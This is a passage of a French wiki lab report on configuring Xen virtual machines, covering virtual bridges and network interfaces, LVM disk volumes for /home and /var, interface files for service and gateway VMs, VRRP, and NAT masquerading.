Objectif : que nos VMs communiquent entre elles comme si elles étaient branchées sur le même switch.&lt;br /&gt;
&lt;br /&gt;
'''VIF 2 : réseau “école / Internet / infra”'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le bridge qui donne l’accès au '''reste de l’infra''' + Internet&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (bridge officiel du TP)&lt;br /&gt;
&lt;br /&gt;
Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)&lt;br /&gt;
&lt;br /&gt;
===== Mode “secours” : &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt; =====&lt;br /&gt;
Tant que le bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), on peut utiliser :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ça te donne déjà :&lt;br /&gt;
&lt;br /&gt;
* Internet&lt;br /&gt;
* de quoi avancer sur une grosse partie du TP&lt;br /&gt;
&lt;br /&gt;
⚠️ Mais à la fin, pour la note max :&lt;br /&gt;
&lt;br /&gt;
Vous devez faire le '''brassage / branchement réel''' des commutateurs en '''E304 / E306 / E200''', et configurer la partie Cisco reliée au bridge &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 3) Exemple de section réseau dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Networking&lt;br /&gt;
dhcp = 'dhcp'&lt;br /&gt;
vif  = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Comment lire ça ? =====&lt;br /&gt;
* &amp;lt;code&amp;gt;vif = [...]&amp;lt;/code&amp;gt; : liste des cartes réseau virtuelles&lt;br /&gt;
* chaque ligne décrit '''une VIF'''&lt;br /&gt;
* &amp;lt;code&amp;gt;mac=...&amp;lt;/code&amp;gt; : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; : le bridge Xen/Linux sur lequel on connectes cette VIF&lt;br /&gt;
&lt;br /&gt;
c’est littéralement “sur quel switch virtuel on branches le câble”&lt;br /&gt;
&lt;br /&gt;
==== 4) Lien avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt; (ce que on retrouves dans le cfg) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;antlr-cpp&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \&lt;br /&gt;
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Elle fait plusieurs trucs automatiquement :&lt;br /&gt;
&lt;br /&gt;
* crée le disque système (&amp;lt;code&amp;gt;disk.img&amp;lt;/code&amp;gt;) + swap (&amp;lt;code&amp;gt;swap.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* configure le hostname&lt;br /&gt;
* met une config réseau DHCP&lt;br /&gt;
* et '''ajoute 1 bridge''' par défaut (&amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Mais elle ne connaît pas forcément ta future archi avec &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; séparés, ni le second bridge (SE4).&lt;br /&gt;
&lt;br /&gt;
Donc on '''complètes à la main''' dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== 5) Ajouter nos volumes logiques &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; dans &amp;lt;code&amp;gt;disk = [...]&amp;lt;/code&amp;gt; ====&lt;br /&gt;
Dans ton fichier config, on a une section :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
&lt;br /&gt;
'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Comprendre &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;file:&amp;lt;/code&amp;gt; → disque = '''fichier image''' (un &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;phy:&amp;lt;/code&amp;gt; → disque = '''vrai block device''' côté hôte (ex : volume LVM dans &amp;lt;code&amp;gt;/dev/virtual/...&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc pour brancher nos volumes logiques LVM, on ajoutes :&amp;lt;syntaxhighlight lang=&amp;quot;ansys&amp;quot;&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ce qui donne :&amp;lt;syntaxhighlight lang=&amp;quot;antlr-c#&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 6) C’est quoi &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
C’est juste '''le nom du disque vu par la VM'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda&amp;lt;/code&amp;gt; = “disque A virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; = “disque B virtuel”&lt;br /&gt;
* &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)&lt;br /&gt;
&lt;br /&gt;
'''Ce qui compte vraiment'''&lt;br /&gt;
&lt;br /&gt;
✅ Que chaque “source” (file/phy) ait un '''identifiant unique''' côté VM.&lt;br /&gt;
&lt;br /&gt;
Le choix &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt; vs &amp;lt;code&amp;gt;xvdb1&amp;lt;/code&amp;gt; n’a rien de magique : c’est juste une convention.&lt;br /&gt;
&lt;br /&gt;
'''Petit conseil pratique (propre et simple)'''&lt;br /&gt;
&lt;br /&gt;
* garde tout sur &amp;lt;code&amp;gt;xvda1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda2&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda3&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;xvda4&amp;lt;/code&amp;gt;… (ça évite de te perdre)&lt;br /&gt;
* ou alors fais :&lt;br /&gt;
** &amp;lt;code&amp;gt;xvda...&amp;lt;/code&amp;gt; pour OS + swap&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdb&amp;lt;/code&amp;gt; pour home&lt;br /&gt;
** &amp;lt;code&amp;gt;xvdc&amp;lt;/code&amp;gt; pour var  (plus lisible quand on en a beaucoup)&lt;br /&gt;
&lt;br /&gt;
Les deux se font. L’important, c’est d’être '''cohérent'''.&lt;br /&gt;
&lt;br /&gt;
==== 7) Le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; à la fin : super important ====&lt;br /&gt;
À la fin de chaque ligne de disque, on a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; = '''write''' (lecture + écriture)&lt;br /&gt;
* &amp;lt;code&amp;gt;r&amp;lt;/code&amp;gt; = read-only (lecture seule)&lt;br /&gt;
&lt;br /&gt;
Donc si on oublies le &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt; sur un volume &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, on va vite te retrouver avec :&lt;br /&gt;
&lt;br /&gt;
* des erreurs d’écriture&lt;br /&gt;
* ou un système qui refuse de monter le FS correctement  Pour des volumes de données, c’est '''toujours &amp;lt;code&amp;gt;w&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si on déplace &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, on peut casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, on évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; Xen → aux interfaces &amp;lt;code&amp;gt;ethX&amp;lt;/code&amp;gt; dans la VM ===&lt;br /&gt;
&lt;br /&gt;
==== Côté Xen (Dom0) : on déclares des VIF ====&lt;br /&gt;
Dans le fichier de config Xen de ta VM, on a un truc du style :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [&lt;br /&gt;
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',&lt;br /&gt;
  'mac=00:16:3E:47:BB:E7,bridge=SE4'&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Interprétation :'''&lt;br /&gt;
&lt;br /&gt;
* On crées '''2 cartes réseau virtuelles''' (2 VIF) pour la VM.&lt;br /&gt;
* Chaque VIF :&lt;br /&gt;
** a une '''MAC''' (pour l’identifier)&lt;br /&gt;
** est branchée sur un '''bridge''' Xen/Linux (un switch virtuel)&lt;br /&gt;
&lt;br /&gt;
Donc en mode “câblage” :&lt;br /&gt;
&lt;br /&gt;
* VIF #1 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
* VIF #2 = un câble branché sur le switch virtuel &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
==== Dans la VM (DomU) : ces VIF apparaissent comme &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, … ====&lt;br /&gt;
Quand la VM boot :&lt;br /&gt;
&lt;br /&gt;
* Xen “présente” ces VIF à l’OS invité&lt;br /&gt;
* l’OS les voit comme des interfaces réseau classiques&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* '''la 1ère VIF''' devient &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''la 2ème VIF''' devient &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; ou des noms type &amp;lt;code&amp;gt;ens3&amp;lt;/code&amp;gt;), mais '''dans ton TP on es bien sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;''', donc on garde ça.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
ip addr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On verras &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; et leurs MAC. On peut matcher avec celles du &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==== Le bridge Xen = “le switch” auquel la carte est connectée ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=pont_Gercourt&amp;lt;/code&amp;gt; : réseau '''privé IPv4''' entre nos VMs (commutateur virtuel interne)&lt;br /&gt;
* &amp;lt;code&amp;gt;bridge=SE4&amp;lt;/code&amp;gt; (ou &amp;lt;code&amp;gt;bridgeStudents&amp;lt;/code&amp;gt;) : réseau '''public / infra école / Internet'''&lt;br /&gt;
&lt;br /&gt;
Donc, si ta VM a :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt; → elle est sur le réseau privé&lt;br /&gt;
* &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; reliée à &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt; → elle est sur le réseau public&lt;br /&gt;
&lt;br /&gt;
C’est exactement pour ça que dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on mets :&lt;br /&gt;
&lt;br /&gt;
* IPv4 privé sur &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
* IPv6 (direct) sur &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que on mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* nos machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si on mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* on forces l’utilisation d’un routeur précis&lt;br /&gt;
* on perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
=== MASCARED D'IP ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème ====&lt;br /&gt;
VM de service sont en '''IPv4 privé''' (ex: &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Ces adresses '''ne sont pas routables sur Internet''' (elles n’existent pas “officiellement” sur le réseau public).&lt;br /&gt;
&lt;br /&gt;
Donc si une VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; envoie un paquet vers Internet (ex: &amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;), le monde extérieur ne peut pas répondre directement à &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → c’est une adresse privée.&lt;br /&gt;
&lt;br /&gt;
'''La solution : NAT sortant (Masquerade)'''&lt;br /&gt;
&lt;br /&gt;
La machine '''mandataire''' (Rosemonde dans mon cas) joue le rôle de '''gateway NAT''' :&lt;br /&gt;
&lt;br /&gt;
* '''En interne''' : les services parlent en &amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''En externe''' : le mandataire remplace l’IP source par '''son IP publique''' (ex: &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Donc vu depuis Internet, tout semble venir de &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; :&amp;lt;blockquote&amp;gt;“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé '''conntrack''' (suivi de connexions).&lt;br /&gt;
&lt;br /&gt;
Exemple : la VM &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; fait un &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; vers un serveur public &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
La VM envoie :&lt;br /&gt;
&lt;br /&gt;
* source = &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
* destination = &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt;&lt;br /&gt;
Le mandataire applique &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; en sortie (POSTROUTING) :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt; (port éventuellement modifié)&lt;br /&gt;
Le mandataire enregistre une “table de correspondance” (conntrack) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt; ↔ &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;&lt;br /&gt;
Quand la réponse revient de &amp;lt;code&amp;gt;X.X.X.X:443&amp;lt;/code&amp;gt; vers &amp;lt;code&amp;gt;193.48.57.165:40000&amp;lt;/code&amp;gt;,  le mandataire “dé-NAT” automatiquement et renvoie vers :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;192.168.3.2:54321&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le NAT permet à '''plusieurs machines privées''' de partager '''une seule IPv4 publique''' grâce à :&lt;br /&gt;
&lt;br /&gt;
* réécriture d’IP&lt;br /&gt;
* réécriture de ports (PAT)&lt;br /&gt;
* suivi d’état (conntrack)&lt;br /&gt;
&lt;br /&gt;
